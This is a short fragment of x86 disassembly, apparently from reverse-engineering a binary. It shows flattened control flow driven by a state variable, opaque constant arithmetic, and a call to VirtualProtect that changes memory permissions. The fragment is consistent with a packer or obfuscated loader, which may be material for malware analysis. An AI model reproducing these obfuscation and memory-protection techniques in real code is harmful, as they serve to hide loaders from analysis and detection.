mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov dword [ebp - 0x190], 0xdef8b127
jmp 0x1000ad69
mov ax, word [ebp - 0x140]
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x190], 0xdb4318b2
jmp 0x1000ad69
mov eax, dword [ebp - 0x15c]
mov cl, byte [ebp - 0x12d]
mov byte [eax], cl
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x190], 0x4853d3e2
jmp 0x1000ad69
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x128]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10025440
add esp, 0xc
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add esi, 0xeb254071
add esi, eax
sub esi, 0xeb254071
mov eax, dword [ebp - 0x160]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x15c]
mov byte [eax], cl
mov dword [ebp - 0x190], 0xb6f9a6d4
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x9d4ec44b
jmp 0x100097b9